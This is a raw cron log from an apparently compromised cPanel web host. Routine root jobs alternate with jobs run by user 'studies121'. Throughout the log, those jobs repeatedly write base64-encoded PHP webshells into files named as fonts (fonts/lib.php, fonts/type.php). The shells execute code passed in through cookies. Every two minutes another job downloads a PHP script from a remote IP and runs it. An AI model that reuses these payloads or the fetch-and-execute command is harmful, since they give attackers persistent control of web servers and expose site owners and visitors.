Sep  2 10:25:01 ip-184-168-122-23 CROND[30072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:25:01 ip-184-168-122-23 CROND[30071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:25:01 ip-184-168-122-23 CROND[30073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:25:01 ip-184-168-122-23 CROND[30074]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:26:01 ip-184-168-122-23 CROND[30196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:26:01 ip-184-168-122-23 CROND[30199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:26:01 ip-184-168-122-23 CROND[30201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:26:01 ip-184-168-122-23 CROND[30198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:26:01 ip-184-168-122-23 CROND[30200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:27:01 ip-184-168-122-23 CROND[30288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:27:01 ip-184-168-122-23 CROND[30290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:27:01 ip-184-168-122-23 CROND[30289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:27:01 ip-184-168-122-23 CROND[30291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:28:01 ip-184-168-122-23 CROND[30402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:28:01 ip-184-168-122-23 CROND[30403]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:28:01 ip-184-168-122-23 CROND[30405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:28:01 ip-184-168-122-23 CROND[30404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:28:01 ip-184-168-122-23 CROND[30406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:29:01 ip-184-168-122-23 CROND[30584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:29:01 ip-184-168-122-23 CROND[30588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:29:01 ip-184-168-122-23 CROND[30591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:29:01 ip-184-168-122-23 CROND[30592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:30:01 ip-184-168-122-23 CROND[30684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:30:01 ip-184-168-122-23 CROND[30685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:30:01 ip-184-168-122-23 CROND[30686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:30:01 ip-184-168-122-23 CROND[30691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:30:01 ip-184-168-122-23 CROND[30690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:30:01 ip-184-168-122-23 CROND[30693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:30:01 ip-184-168-122-23 CROND[30692]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:30:01 ip-184-168-122-23 CROND[30695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:31:01 ip-184-168-122-23 CROND[30823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:31:02 ip-184-168-122-23 CROND[30825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:31:02 ip-184-168-122-23 CROND[30828]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 10:31:02 ip-184-168-122-23 CROND[30827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:31:02 ip-184-168-122-23 CROND[30826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:32:01 ip-184-168-122-23 CROND[30954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:32:01 ip-184-168-122-23 CROND[30956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:32:01 ip-184-168-122-23 CROND[30957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:32:01 ip-184-168-122-23 CROND[30959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:32:01 ip-184-168-122-23 CROND[30958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:33:01 ip-184-168-122-23 CROND[31077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:33:01 ip-184-168-122-23 CROND[31079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:33:01 ip-184-168-122-23 CROND[31083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:33:01 ip-184-168-122-23 CROND[31081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:34:01 ip-184-168-122-23 CROND[31187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:34:01 ip-184-168-122-23 CROND[31191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:34:01 ip-184-168-122-23 CROND[31189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:34:01 ip-184-168-122-23 CROND[31194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:34:01 ip-184-168-122-23 CROND[31190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:35:01 ip-184-168-122-23 CROND[31283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:35:01 ip-184-168-122-23 CROND[31284]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 10:35:01 ip-184-168-122-23 CROND[31286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:35:01 ip-184-168-122-23 CROND[31285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:35:01 ip-184-168-122-23 CROND[31290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:35:01 ip-184-168-122-23 CROND[31288]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 10:35:01 ip-184-168-122-23 CROND[31289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:35:01 ip-184-168-122-23 CROND[31287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:36:01 ip-184-168-122-23 CROND[31507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:36:01 ip-184-168-122-23 CROND[31511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:36:01 ip-184-168-122-23 CROND[31512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:36:01 ip-184-168-122-23 CROND[31509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:36:01 ip-184-168-122-23 CROND[31510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
